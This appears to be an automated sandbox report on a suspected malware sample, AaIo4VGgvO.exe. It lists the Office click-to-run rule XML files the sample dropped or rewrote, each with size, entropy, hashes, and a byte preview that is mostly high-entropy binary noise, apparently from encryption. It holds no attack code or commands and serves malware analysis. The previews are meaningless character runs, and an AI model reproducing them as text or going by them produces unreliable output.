Preview:	<?xml.^w...1.ISe.HA&Y....-..8..$..8.\.@.^.D..t....C.(f.n;......(..-...`...U%...d.D;.9h)...f.m.b.k....U.....}YX..^je2W...PZ..!.6G.>.^Oj.BM...E....;~7.2.....W2.R......_.vRi.C......lI.]`..7..H.t........v.D....(.......].._..#...QE),......W...$.P..C\.i8.i.c.\|.2........x\C..\|.....D.m....Ku....wAA..O...............p......2`.D.l.h.I..w!.h.-l.T.N.M;.ae.7Y.%....E../.....k..=\..v.&I7...9..i.j9.G.Z...[E..)?.E.}GD..2mLL....q`...8b..:.3....!&GO....0.\......_...\m.......\|.M!.i..H}E.5."e...G....E...U.gb.m.,.)..4.0..+.U..7.w..>....n..NE.b.....[;.L.'{.....y.......i..:....h..o..C1R.k...;y ...$..[...%L.....i..@..........Sd\|f..........@..H}.PPR.I......'.yG.P1.F..3.A.RI\...?..".H.xc.NuG...._.X....=.s...s.Q......E.I...8.....Y....D....J.Zx6.H;..r....=.HU.6...~......:....d...\|(O\|OMC...>.r.#..&........~.gU......s4.T.$.u..W.u._.L./.R.s.m.... x..L..#.Mv;W.a`....rC..h.....Dl....\|...._..B....j....$...f=..V.......Tr....1.}.M8.>j....r...,Ic......T.4^I..=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.870421862478312
Encrypted:	false
SSDEEP:	24:sbo+3e9p7FiRqYi6r6PHILsyuwkSsoVjZimIT/3m6+xazP9FsuzA9PWwWikjbD:sM+3uiRq+2Pw3S10j3nxqs6HisD
MD5:	72D7D6F79AA96CFD71A79ADC5A127B8F
SHA1:	811702EEAB80DB0C572EA77376F2DA3755521BB4
SHA-256:	D876B42D56D1AE839303F4C498B1B565CB5F427C0D1F211AF986412D78F25179
SHA-512:	78BF88BBAE40F9C4E0B3CA8F25CCA09C0A19C33B9170061ACE0A9F159384D3D72DE0CBE47DA860E300C63B52C5A3203133C73FF0C2348D3EED63B152D7D35D05
Malicious:	false
Preview:	<?xml\....I.#......NCP.G.jx...7l.B.-].%..J.Z.3....'......XG:.....ZP\|.7<.c...B.K....U.j.K.c...8.....N[.S...s.0.2l..%..i#..1sr.........K.5c.$E.bD..&.Pl.v..}.p8.....}....F../....JOS..h..0..6.i@.U>Z...q..L....Nz....U.[..B..._t..0^8<c.^S&.p.....HN......X...V...........0/....&.....r....5...@v].^=.)._qX.Jn..... 4$L~..2......@..8[.....G..(...._.]sk-..f1..V"ivr.GvYTX....4......z......q'c.-.K.l....1"C.3%.......(...]...tj.gpn..8]it.Rd.up..1.b.6k._.Y..h{n.2,".U.~...[.....'ZQ.j.r.[...!..opq....0.k.v.../.-.4...Bq...,$.TK...2.'..s..,....=B.m.:.Z....hj.&.$.~......vJ..0.....ZM0......d..Qfj. ..........Z....M.TKC.L8.nt..:..-pak...`.V._..-....>....~.6....C<...n..w~.]X,Y...u...`4=.:.A.J.-.{......#n..+.2.x..H.8....D..A...N.j.......F$..W.\|m.........C...=.&.(.]....:.`....<.Q~..r......e.f...:u...2"[.w.0@...4.#..<'.r....Ye.Q...+.0.h.z...B....7..=..B....-.O...0..m....[R9.....ZP..{...(H#rZ..VQ7.)4q.c....#-.2..W....7<..i#^..L,..Ik?....{.pu..o...%.h..2X0..N>..q.j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.883998526375697
Encrypted:	false
SSDEEP:	48:3zTnMosO09GLdTVHDrXO9njHV+Fx7XSZD:3vsOA4DSdQFx7CR
MD5:	78F9A8C350A01FBCA7B9BB7311E858DD
SHA1:	B6532380A8D5259C0B0087596A15B80299E8BCAE
SHA-256:	DE7939DC6282F2B427B6AC03223A80C59D64309AFDEE8074CA6E76901112CF01
SHA-512:	3BD081CEC25375F72665E6E9A56DA696F04D61CF490878DB79F7E0B520F295B2A4D41A3AEED61D27B46CD8889860FE9480031870E560BB4E30BA5EF20CDF3A69
Malicious:	false
Preview:	<?xml#".k......t....t......."...-...z......s..#.bu_#....w..V...^.@..v<...i.y.......)..l...5..'..m.{...C..%"..C...".c./y...yl..U....$.9W.5o.4..lA...`\1N..3..u....".Y...).#.........u2..rD.Pi.z".~7..la.X.....mR..b.....\..>.il.(]Jf.2.~.WB..3l.X.I.0l.i.....g.q.N..s3...6x>l.U.H4...Z.L!4.J.....~..f..N.&.B.@........u..s}..p.......Y..x...ry.......R..}T..4.q+.K:1.n.VI...'@..1......D..R...2.{...7!...WU..t.sSa..2...z...?...'b...I.BP.v):.NpI...A..sYz.H.. .....p...Q...N.!....n...zQ.F...S.}.......w.E....FA.j..'\.rE.........[.....Ba..'s"z3...UJ.e..Z.P.g..+.<...h...Z...L..\jF.....mO...j3...@.r.Q..5;.X{.y.R.[..F...lv.p.@.J.K.........(%...=:..l.!.H..HX.M...`.#..."D..n..HQ)..G a..@U..G0.\|.w,s...S<.8.....6.2...r..".$56....o..M...O.<q.`....z'XC}e..'YM.Z...IO#.......}}'.V...q..A}......v>.....#.m..eQi....`..8.a..LRL5c.......I_.h8.ON..17.c.......t...t....<...M8.3....m....0.GXp.$..5.V:.1.....PaOY......:o....U...9p.....TJ...Uv.Q.s.?.,Q"...C..>@/.2r...CE.+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.864119466793027
Encrypted:	false
SSDEEP:	24:snoEguBCQ8H0Q6RBqKS7Ccx2oo127lAmgLiX8ZavFmSOttCZLcepNrCfnRbD:aDXBf8s4XwokmgJavF6tNe7CfnBD
MD5:	D4E7619A7049DBB0600FEBF0955BD0BC
SHA1:	0E3BC371AAA6CE1E9D2C4BF3EF74480B8F985977
SHA-256:	F7342AAE82FC4F81CCAD22935337B7847757801CCF3A5331023CD4C90FD4184F
SHA-512:	ACB1C40851D95BCDACEC3E28A945C6DA30E4F04DD35D963F1B3B33E32C55E77E442F4855B60D906BFC9F7CE0FD399FFCB7F83002EDFDD7C347B945D2E0D4F766
Malicious:	false
Preview:	<?xml...T2...f.8.....\.0..._..~....,...)...!)..%.3\|X\|k.lYC.N..Z..@W5.+_."2...NQ.B.B.v....A..x.S..C...[...2..../..B..i!...s...a........a.}..........U.S-....zl.....1..@O:.!oZ...(uN....b9...)w.n.....m...c.\|~.._.{$5..+.J>.esc.%(b.8.f^.u&...$......6....,f.I......>.U....p~c..,@(7....+..NHl.U.....0\|.\|..f..h..W..Vs3".2.CU..uRS..>.6.....$4.f.S.O.~P.)G...WE...0.J...l..;.D....^..v..~..D..wS....\.bf/.......c{..<a........(.F.c.Z...!...F.O...}._........C7..6....~w4.rh...w..a.)K.~.V..m.\8.IK....Q........1..[.P.7E.g..._....q..q...../ts.nt%'/3.'.....p.N...=e:.X...,.^g3.qg.@."]Ny...2..9.Y........0vxb..#..f...4..m....D=).Gm...*R<..86..b...5...?s..i..,..}_..O6..W...]N..;..M.Zt...K...F..D....}.Xj......^btm..!.b..z............W.U.......X.....^.f.J.......93.qe...V......./...>.....N.8..Q..d.....%......W.....no<.e ..cwi:E..?.....<!......`..q...'...(I..7Y...\|...;.c..Xi.!b...v.[.!x..........GGE.=.\Z.................CB...}.`....NO.J]....-..sw.q.....P.z4..s3...N..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5150199324590785
Encrypted:	false
SSDEEP:	3072:7TK8UKmyMvUC8YS70L/y0RX4v05rbVPuoFOu15Rf/zY8FahfG:jVRC83ozUv0RQCOu13ffFahO
MD5:	223E67475E6F7EB7E2C67DB4C1E21111
SHA1:	BD4983AD14AF7C978494AFC43BD435BAD1372CCE
SHA-256:	4538DCB8C603215E4E1FF61C9137B16543373CAA466BEE3A1E7DE4AEF1CCA10B
SHA-512:	FDA085F1916627EBBD6460EA389BE5653A74D729BE660E1A5D74F8DDD66C89CEFD5DB10838498836971EE191ED0D34ED853335F2AEAC54AE6C989EC66F6B3DCD
Malicious:	false
Preview:	<Rule.l.H.+...H.G6U.b...{LU..Xj.q.Q..>..&G~t8!$.o..M.LlQ....c../.\a(.2j.}F..'....s.r~..O..{..J.3..LZ.,v8...W....lnSG..T...j.8......}.&.<M}.86....s(....1..&.K.n0..........u..J..o..<...3w.PT ..\|.0......<h.P.....2.e..A...0Wm[OX.....p....}.K.K...1f..N..M.:V...d.....K......2..t.V..O..jXB2...>\|...N>.......P.5.....)...._......B.;.q].F.V.).?:....l..27q.M]L~vl./.t..?.:...R....i.....3m...i'.cG..?.n.......Gn9.....7\.<..l.6.1.............71....XB.^=.].8.9....k.DT........J.s2gd./ ...v....K@...Q.f..X?b..jc.r...3z....!6.@...9l.... ..%..>+F/!.,yE..f.e....W..9U.&.......Un4....D.c.h.]Z!..f..JB..b....".....m(I~..<5....@.......(.{.O0.?....o.....m.e.......!./..%......vg{.Q.e]..,....![..c...o.....{...i.~......{}jd`.Z..3A\.Y..`.=...`..........$......H.....b.jU.z....n...x....I.TRX...B.....}.#.0,o..?....Jlb=.zf...7..O..s...Yi..t.s...wpe..,.u.....r.I..k.i3.....k*).@..X.3.=.c..{.\|......8(@.m..:.!b.....b.3}.....K.J..4.W...#.w.^$......Y./~j.I~.T..\2......C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.907836552972163
Encrypted:	false
SSDEEP:	48:yhGMiiCHePyXchuRVS4pxnG2RR1MYqA4kshngD:yhHiiCXOeFDnGkRLgkX
MD5:	6D0D84685D6DE4025C2FDD619165BCF1
SHA1:	C2419CF907ED249C56C9672EF2E0726EA2C1D0E7
SHA-256:	CDD2E0935AF2035CF496DFC01C3C4003298DB7FD13D34B55359DF2619AE85178
SHA-512:	B2E3CFE75678C3EB9E83A12F7BF3FCC29A1090C92204123EB7CDB0FEE93159E8C5F491DB61C4857B0E9CE4D92886AFF67222D13D311663E04AFE2C7BA1382D9D
Malicious:	false
Preview:	<?xmlRz.:.....#.o.2\.."......QP..)....w....s.ng.0.q...J..62.6$......./.....\..5]47Y.W.r.e..N...). ...,....a..KIK..M...<ueFq....8b.....\.k.......9.t.._..2r...k....U.i........zu.g.....S....X.q......m=...ck(2..#..?=...e....}j...k.ns...X.e.......NI$C.....[...ao....!..z......`.k.5....3..e...3.V.X....C..}&..A>...d...E.X...Q%..[X..L.S..;9..J..l'.Il...f..P.9.o.......X.gX.<..vh.......CC.H.....[..+..,.....~9...O..o.,.4y.S.?F.........x..]hr...].\K.'B...E[]......V.....X...x\.oK.2.`3.a.....T.$..x..;i.'C6}.....Ld.,...<..9.. @.q..tc...........C/&....z.p..3..9.tx.....p>..\|...Y.qF....B5~\|@...g....$.t.k:?.b....;*........rp..X.m..g....u.+..H6!.G..r7.e....v......#....`]..0v..B.ub.J..mp...>b....!...@.2.....-X.Y.P_.qJ,..Xy.U.I$...?NZ...2......X.ql.Q.[.n.&..o..............N.zk......z.....7KVBm.OQ.L.l.bgA..s...>..a....#.......gRG.%.f..q..mR.S..@.%....W.........u%\|.}..L..+..?fP.-{.\|KLW.f...P$...+.\|.g...!.hC.~5......._._...rOo/..O......=.x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.858096308309671
Encrypted:	false
SSDEEP:	24:uiwmnBao7M2RZRqG+PsJCWh0t9QqdQoyRJ3F3Qj5C+jfnbD:RwmnBao7Myy/Pakt9QqdQoyr3OFjjD
MD5:	B349CD85AECD4AD8819A515125B6032E
SHA1:	DD843AE5AF7C2AF803DFC31B500A52AEBF4E140F
SHA-256:	3A26ECF0D9629F06586E04D7DC10ED9309BC400F50DAECE0F62DDBDA2917901C
SHA-512:	6534698C1892BF4279DB89B7452F299A44F5E3EE9A4775883DEC4D52267DA4E8CA722589650D4E5FC96F8CD79D6A09AA4E29D4EE5BAE801555F80F6C7EF49F12
Malicious:	false
Preview:	<?xml...g.,..V.0..f.....6.........1.DU..%..>)./U.>.F..).nq.Q....x.Y........=.k;..GQ).^...-n..8H....... <@.Y..aE.r(d.Z...i.R..d#F.M.N.%.x.Y_..8`.....e..r.S.O.=.G.;..;._....wAR..._.v.D.P.'.7z2..03x.}-n.%B.VIXVRg.......{uE.uu-U..h.........K.M..i...E..o...........r.b...3b...@X\g..0.H..V(..Ms..I.m.:2.\T.:..h..f3S[...IP............G.t..M..wCI3.f~....U76..E.n".7.._....f...z.~. <..dxN%..{E..>.E~......e.'........{v.......-7.;.4....x= ...=F.2.D>....)....66.T...#B...!&}......{.2@# ..z_Cw.a_..K1Q....X-?..j..]....d.7.!.o"x's."\|.....B..E....$..A..P......1...b....\<...../#3..K......n...kY.-.{...QXs5.H..m..<yn.$RL.5...3..Nn..J..Q.-.%o....`.0.<}".a.Hp-....z....9\.\..P.....O'...nP.8...^.:0.~..m.\."..d.f.n....*............kj....P..pT..}..RAd..(g...Y%.._........q9.:.c.E.6...<W1..n.....^.(..Q..B..TO...@../....T...."...K..SC.RWln..h.&........ j..U..$.Q....;...B...\.z.s#jN.F.).u.pl.7n...v.e..>!H.0.1.Q...(....L..}Wq...~hI@rp).]{\|.t0o...{.@Z.S..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.938616302618314
Encrypted:	false
SSDEEP:	48:5zoGTXI6n0zEgR1IRvutpjFsZH4d8VolyCGkTQ1JEbeeStAMGO4aP63ZG6MD:5zoGThXgjIRMXsZH4duolyCvQ125gr4W
MD5:	B8DA3EC4E3ACD2B97A4B108F431C2388
SHA1:	EA25AF548CD24F1E90100B70E0EDB4210DED2DAC
SHA-256:	0D7C1F4AB5D4F80689A887F97CEC469AF1854C7BFA672F1FD9CAF90E8A31012F
SHA-512:	B3F408B83FAC88AA5E10291FB0C435631E08D7622D6EE85BA5B639E013C73DEDD2B2EC83C806F3F55B419688E9D19EAEAA9BCE061B1C4CA460CF473A5F83D17C
Malicious:	false
Preview:	<?xml.v..w..[..4s...I...^..\|.$Y..AP./.y[.q...V....7~r.H..Ox...+Z=H..7...........m;C...&.F....5..l.........4...M...........:.....G..~.L.Z...H,.KOs@..UP..4p.+....%.+.......%-.....e......eK.3.X.U........y_.DO&j....TD4...y.\|.@.KN8<...q.Do.I5C$9...:.....Qn.6.F#.W..@.z..jx9e...5[o.<nk.8..A.+f...I...o.<O _.$.3H.N.'7UJ?...FO..L..;...b.)..&...tE.......a...N=.IR..[...6.._L.D/.TYXm..MQ/..U..n..518g..`~N..x...H....m....t...t..t......3.......']<h.N..[..1..l...\|8.....31O....6...V...0.....0.A..~;Ko....4...f...#4.s...p.....n.([....z=...........q...:.)....S&7.....W.sD....x2.P.\...y....Q.C&...,.gG.t.....}kc...ir.Q.sl..SS...v.r.-U.M.J.......y...fs..H.k?.+I.k..fF..x...S)`..rcd..}:?<.K..D.J"D........V....9.mN.{.d.Y^!x..h.H..^...O..ME.0>`......R....$...#...K..#.D.Y.z..b._......<.l=.n.2.y.Ev..D.N....\|.Z..L.y4.?'L.v?..;.M:zo]xsw.....P.({.I~q.fu....EM......`y.`.k........J...1/..@..F.J.hK.y?...]A.l.X...f.d-..j7.....!..B.._JS....l..v........;+_.u..-...t....;...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.8777977384993685
Encrypted:	false
SSDEEP:	24:a9Ftm/evMDjCCbU8xsmlRIGlOeXgAgsfikkTQewcDIufnBBGYVIzCZbzZwbD:a9Gevh2U9GRIGLQQFkTQqHfyGKCl1qD
MD5:	F501C9F05F651CDBEAD469F3754C2AAD
SHA1:	5D887D213DA4974281B7FFF6636A3EF31E074271
SHA-256:	BFDC5EB1537E5EA2B36808F070873CE8B533E6B3C5BFD12C85939FDB2B4039D2
SHA-512:	EEE6ABCF373D6796BC9F62B6F07A7CBAC5338A3C797E99D4E78B69C7C1311AE16E6343C07D8CBCE3405A1FEA62C0998B726C7A3E37731F5350B647B58333E3BC
Malicious:	false
Preview:	<?xml........B..+.d..wX....4.{...._..K.....k^..L...[%.y.....-(.O....'.P'.Y5.#.&vr.N.O..=..].,../.a...:..Z:..&.......e'A...U..9...\.6d.z...y....2......C..'.P.......:r..h.:..j.\|..wZO.....`.D...tR.....6oF...I.+BYR.3...q`b.......... {hSE.n.{..-la.V..!..7p..utq..H...{.R.5l.2..).$..:....)M6..Q.&.C...%..>.R.2....6..&...L..bor5..lr.}.x..N...YY~:..~.p.........:.L>y5H4.U.Z..Lf..Hq.sB3i.g.............2..c....I..V>...+8...w.R.....T.&.. 7%.+..{.q...]..o.E.B)B..p.J6.:>....-H.&98.T.B.SAL.a.=...C.~?...P.H...yc...5...o..cn.....Ud.xv.f.X!.l..l.N..3....,_.f.P.z......Wz."6n..M.R..G..C.O.....=...W....l.Iw.."v...B..H V....+.mF-...%..<5....k=v.;.....V..5d...........+.Ga[.....z.1....h...........>......V.CZ.g.y...v#DXj..........s\|...!.w,....HH.r..X....!.C...\<...:~..^......S.......%O.....?.c@....O...(...0....9x.I....Q..Q.S....\|.k..G$L..kJ...E...mp~k.....\;(.]...........J.X+%...9..O.l.6....1......7.7P..sM"l.._...C.C.j\|..{.Ll.($........t.Lc..\|......P.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.906643402089199
Encrypted:	false
SSDEEP:	48:mzvS0wnxNkJRLfHeoKzsUn7IVTQpZk9YgdlFimK3QTiaD:mzK0VH7eowD7o0pZkrYK3
MD5:	08655B2563EF870E5EBD3E73FD5253AF
SHA1:	DC5365D91FAD07583EEC1484182CA7AD83BB1026
SHA-256:	CE00669646FCA5E8C3DAFCF7BC0135FAD3545F3DA4455B7DB2405082E1909920
SHA-512:	182C8174CE1CA5EE387044A1DCE250938A6BD7271495FDDE42EFC942ADF0A5CC94B3B0A164DA1B1C72FF2FD2F0AB2A97EA0DB96EDEE29B784AE7F0CBF9E9B0C9
Malicious:	false
Preview:	<?xml...n.Q.k0...~....4.B...Q..j~J....8H.fb......l\LW....+..<...r:r.W....o7EuG.......K.;A.&..b/,g9R...."...M.....+Epx^.........g.0Ex-...d,....o.X.cd.9.{...H..3..8..B.................Z..]......Y...+. .hi,.~U.r........].$..U$.m.{)....>Z..H..<G.Omy.UD......<.j.TB...e...to#. .5.x../.....`..z.....f..x....Ku.98Q..(..+...2I,..<.J...:._.wc..f.!.y`...E......R.Fs.z....s...%...,.....v.$..a.H....,.._.}.........;l......e.l..j}...["`..r.08.........s?k.b6 .B;.H:....]6l..Rg...A.g....".x.T......\i...r..bj...6.sN....d;.,...E.z.Q'........K..R.C.d.).(..S.....C\>......./....jz\...@.T...../].......n!.B.n...-[.G.5........')..b4v.%...6(.`.%.%<...e@6.j.Y./.=...h.._.4................a.RwM....D1.....B9..e.....6.......b.W...$(.g.!{.{.;Cw..]..B8'..5?.n..{..%.K....S...j.d;_,Q...x]y,8.G!.v..7c.;.....<7.B`.^4..!..1...7.)?.W.-v.D..e...F.B.-R~.\|..@...zr.'y..uU.U..&...M]a...P..U7..D......RQnHX..d.BY.!0..@..#.U.U.N.#o....}D...).../3t.!.55..e..D\..f..H/X..?z.....W.....u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.729839010409008
Encrypted:	false
SSDEEP:	24:oJYhvF9GA0HjbiP+voLxLcNGoZAO6MAbD:+KvF0DbiuWxLWrAOvaD
MD5:	9C202F5AC43D9784BAAA0F681AF46FF8
SHA1:	6BCEBA9AAB3FC2D4BFEE7F573F182D09C5D7E7B4
SHA-256:	666AEFFD41AEED7F15F9A10112CBDFC460F86EB2ACB8DFF3D97D3A011EE829D4
SHA-512:	82BE5F127BEF7D870E4ED97BA92865BDC8C07A7EFB9DF690F1DA1597E997864C850C6B32C76DC14FD945C06E1B62187FFADC66B524D2FFAEC04B8BCF9DE48E86
Malicious:	false
Preview:	<?xmlU...}e.Ke.<nDk2.......9.Z..G..$..t..- >.ZwB..^..mYQ/KyU[r....+.E...Wu.!.....zO9..{-.Z..mbRr.y$..d..5s......xK,....N......_.....p..UK..P.T...8....".{......).P.P..~..Bq.q.).M..D.........?..,UmR....Wn.....o.%q/......C...e.}.h\|...0...'.#N....;..O..e.P.G..+......e...:.#r.9.@..p.....:2.c..v....h.bb..o.1&...#......e.u/.4s..A.....jZm.....x..- ..z.G...:..L....n....E..up-.%.........\A #%..$..A........a. =`R.-//.=.).m.L.Pk....U.}.Y..8.$.\|.q...X.y#_}....K.T7x}L.L..Z....0fKwN.~8..\|..?...\.w.{4.V..`...U..?br}6..*..9.z.IH..=j..8....~.4.{.....V...u..-fAJ.......n.)....v:.(......WE"...[.....N.......%'.eSL/C...+...Y...u......A.Lj...q........b.>\9.....\o...c...0......."62.....e..C..Y..dp....E.s..B.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.9056133072570685
Encrypted:	false
SSDEEP:	48:HljAkr6/LH2DHS4xkQD1JAaRknLsCkX8P2AAcCYdu7D:HpA30S4lJKlB2A9C1
MD5:	45F48092E72ED17641199D0EB547F027
SHA1:	CAAB3AF5A8B6E3F4F100E9E8A34E9762EFF9E51F
SHA-256:	CD3D7A471752FC42EE9A8C977F576A1F1252212C190243385E66848E9D9A7BBC
SHA-512:	510722D8AE32D08C443BA105277ACC44F322E1EC832399F611F28BB3E3443BF76AD67700C5C3563CCF44A759988C1AC3CDB80BCB83F3BDF6D25BF1A93C92A59F
Malicious:	false
Preview:	<?xmlL..~...F..S.....3.........).......rSD..:.l.A..+.[.J.h...(.o...!.5L.....[.h.....F.l.f.8t{.Rlca.>!p.cbn&..C...$.^..s.>.+.....5.....c.a...9...@U.W....._.un.f../.kB.....2!.QI.W:.g.{..]...O....5Fp...Z..rY.(..-..#\....R1..6..c.Q...bu.........A.`.M..7.I.qO..y.'v.=....3.t.B..<2..[.+..X.'......$......5...s...1N!.a.^.d..T......<)C[..._-..+.....J..^.e/P-..3Q~.X..xh...n..Q.....S/F.cv@.N.......&.,.I.W.k..kg....3NH.....U.W\|....U`a.$...5.@...k..M$]M]+..{..LsW...M.....J)L[.x...".5..C...>...].&#..TU..)5..+\|U. .,.zZ..P.H...mj=h.1L*.wqt.Ed....L@r........C.:k.f..#.~%J..J......eE...]...g@.......T7A1:(e)....iqJ DD.o............\|....#.$.t.1.Qq.!v....[.(...0..y%\f.\|..j.G...Oi.M.p........4'...j.9.0[....=3..z.....u..#jb.(O.n.-m..M"./.S3y.bH...bd.}Sd.3 3.# .IM..x....gT.\#.)... ....M.m....R....[O..G...V-..c-...,/!.(.%.RJ..:.y..b...[C.H.....I.Yi....T...H.c...e........fw..Wh.[6K.P.c..\.7..s...BC.[..A.#L..n.]..\yLy.^.PN.......=.....l G...`..o.`.hJ-C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.705612841802908
Encrypted:	false
SSDEEP:	12:nE/z1r/2VZrd9vceU5024qA3fZ3EPI/HVyTQ779nCA78ygw9E6o1+cii9a:S1rcT8O73gI/VyTQ9ZX9EWbD
MD5:	10CD51AD1572DE8CD461E974308700B0
SHA1:	1B79561B87CF0486880303605DDBF99AC00DF938
SHA-256:	58ECA4FA7D0DCB09014BCF1ABF21A2BDE92B35E69A81F1B80A1EAD3894A769F9
SHA-512:	3CD3F4209CA16716099B3AB17EDEC82EE143FC9660576F11164C042103592170E6E9459673445001EF283C327AE1C3217AFEAE946E10BBB49258115EE53E3AE2
Malicious:	false
Preview:	<?xml.....Z.....I......w..)..._.v.`/}....4.v.CNB.ie'.G(.9....\.P......b.V.Q\|.$m.1.A./...2...~._..Gl.U..Q.vM-;...P..\.x..4....GJP/Vo?n')q..f...}..2..X.`.<.......l.D...j. ...aTz..c...1..@.X..Q....3.I. {..P.........$..A.~..o.f..>.D=8..R2Q7..$/.$.#x....9.U.z@C...3.Xh..w5......ik.u...Vz..#.8.....[\...XC3....:.6.on;q.N1..D..9,;..J.~...c..c).T".h...c.%.C..T.}..!z...$1.S...G.R2..e`.c}.sn.=....fg...~..+....l...............ZZ._;....0Mp..(2...g.D. c..J.B..6K.e.S...V.r.k'.vl:.m......0.Z<.L0z.8.N.L...t..:.}5,8....3Sz..L...).q_F\|.3hxKE.2[N...._Od...P.oG.G..n/;.@..m\|....!...\......M;..."u.`X$.8....r..@L........... ..,.1<.b.r...,+...i.x...aaC.Q..'.E8...BG,..`.U.#tg..X.7..Qs.L..{.n....1.<...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.936158596964246
Encrypted:	false
SSDEEP:	48:/xgK6Rv2hu+DDZRdKcy+8IVFmxUmOxpEMG8HpfhfCo0LaryBrEmvlS5Wi6FD:/CHvYukZzKcCAFUUm8pEapfhfFmBrEmd
MD5:	FECB5FC7D62A9A5B1D73311E39448F6E
SHA1:	BE9E5D8D8D2FFC51ECB011A2BAE13B55FAC128BE
SHA-256:	508501657FF9DA2449E232C848E91E216C0CCA76A1C4B6954927249796E241EF
SHA-512:	1D4CB68BB87F4CAE78AA07D77AD8B388CF0E5188A6CB57DABB7C7F38A9F187BB783D7BFDB62C6E6DCEB852004CDDB3692146BF41305C6E1096B7D2440AC08090
Malicious:	false
Preview:	<?xml.....p:.....}..hTMB.].9.c.'(..7."_......X...8...../....?.....w<y..5.G(.._f@..q....gZ.......t_3-..[.&..k.{3.L...X.(I..a..jy.6O........}.........3:.........uQ^...&..^...B6.S..^/p.....8.XP}...(N.......x..t...\.._..q.5.F.a=.l.".9....!..=n.Sw.a\|.`..w...Q...D..q.{.G....l.z.9.z...-R..P..\|. ...b..=....:...A.0g........T....EY[..Y.U\|.M. ....1.H..(...Y;OVc .!....r..........Vd..O.R.(...yZ\|v..m..B.M}S.8....e<}.wE...D..pFY....z..8.5..A.]..jN..^Nt.......'.N..>E<...~(G.x...@.{m.a.>...q...-05..xZ....y.%.S...Q.G.r.J.k.J.....3.y5;?<. zvD#z.^O.U}".]..+i.7....-.S.N..,b.l.6....-+......9.@...a..t...[ ..`._n..5.F.S...83.&Aq.:..Sl.....lb%...E.....t+..Z5.<Jz...7dl...cP.Y......&.\|..\.c...-.C....Ie.....?..h.1..l.1+b.dV..d..TR&\|..s.I.2.ar.4...i../..[..c......zx..k..;.......i.hm..e..x.@]8.Dy..V..A....{P..L....S ..{;.t@2\|..1.V.....0.K..&S%S.....6.S..K.u.6MC`......0W.;%....x...{g..6.......G._....&}...$m.......`.=.3.hi....s.g.f<<1:...tc....S6..\|..`#.s.G...&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.925666582498016
Encrypted:	false
SSDEEP:	48:/hWAmeuIg2Hq88s4zHOZjMVsV3Lz6RB6nlD3moJQxD:ZWAmigOb8nzHOZjMq3Lz6Xi7hE
MD5:	722661379A76273A12618D7D43D6D57B
SHA1:	F546182443EAEBAC695AE74624571B9C784C10A3
SHA-256:	EAF7A1F31AD728044A784B804BCD4C2336F862B9A89B6CC0EC4E54E08A2B1852
SHA-512:	7FAE0F9E3291B2DCEA3E8665178A0E25640424EC0414C33A89144B0D21943CB99A2B2684A073476D79A5A61B50CB464B722297D7FDF8345282A53BDEDA0F8AEC
Malicious:	false
